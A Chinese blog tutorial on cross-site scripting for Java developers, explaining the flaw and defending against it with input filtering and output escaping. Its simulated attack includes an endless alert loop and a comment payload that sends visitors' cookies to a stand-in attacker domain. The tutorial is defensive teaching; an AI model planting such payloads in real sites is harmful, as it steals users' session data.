何为“xss跨站脚本攻击”?百度百科是这么说的:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
百度百科同学解释的很好,不过小白表示还是听不懂。现在我用大白话讲一下,还是听不懂的同学请勿拍砖!
先看名字“跨站脚本攻击”,明确说明了攻击执行对象是脚本。相信很多人在开发过程都遇到过这样一个问题:我写了一篇文章,内容中有脚本片段,比如有个alert提示,在查看这篇文章的时候就alert出来了,其实我们的本意呢仅仅是让他跟普通文本一样显示出来就ok了,但是他却执行了。
呵呵,我上面说的问题不少人都中枪了吧。很多人在网上问这种问题如何解决?先不说如何解决,我先告诉你一个坏消息,你已经中招了,这就是“跨站脚本攻击漏洞”。
广义上讲,如果不管你提交什么内容,你的系统都能原模原样的将其接收并保存,就说明你的系统存在该漏洞,因为这说明,假如我提交恶意脚本,你的系统照样也能接收,这就给不法分子提供了机会。
现在我模拟一下攻击过程。
比如你有一个网站,域名是www.blog.com,有跨站漏洞。
我呢也有一个网站,域名是www.gaopohuai.com,也有跨站漏洞,但是我只接收不显示。
我来充当那个不法分子。
我上网的时候无意中看到你的网站,好家伙,文章不少,评论也不少。我也捧个场,找个文章给你评论下。
我这样写评论:
while(true){
alert(1);
}
猜猜看,当别人再访问这篇文章的时候会发生什么呢?
我再换一种写法:
window.open("http://www.gaopohuai.com?cookie="+document.cookie);
再猜猜看,当别的用户访问这篇文章的时候又会发生什么?对,他们的cookie信息都发给我了,里面可都是价值连城的信息啊。
说到这,大家应该明白这个漏洞是如何工作的了吧。
那就再说说如何预防。
我个人看来,解决这个问题至少有两种方法:
1.在提交的时候守护一下,不让你提交
2.在显示的时候守护一下,不让你执行
思路很简单,1.我不让你提交包含恶意脚本的内容;2.如果你提交了,显示的时候我不让他执行。做到任何一点都能解决这个问题,两点都做到了就更好了。
还是那句话,本站是java博客,所以只针对java项目提供解决方案,如有其他需要请自行百度,资料很多。
1.禁止提交恶意脚本片段:利用开源的xssprotect功能包解决
2.禁止已经提交的恶意脚本执行:思路就是转义,将一些特殊的符号、&等转义成等效值。这样显示到页面的时候脚本片段被“加铐”,不能再肆意妄为了,但是却能看到片段的实际内容。转义的时候也是分两种情况的。针对来自textarea提交的内容和富文本编辑器提交的内容,处理起来稍微有点差异。因为如果是富文本编辑器提交的内容,转义归转义,但是不能破坏掉其他的正常html标签,我们只针对脚本程序片进行处理就行了。
具体实现,请见由本站提供的完整程序包。本站提供代码,永远只会提供完整的项目包,不会只提供相关代码片段,以方便所有草根java程序员更快更有效的使用和学习。
链接: http://pan.baidu.com/s/1dDD2Wtb
密码: vqet
文件解压密码:www.caogenjava.com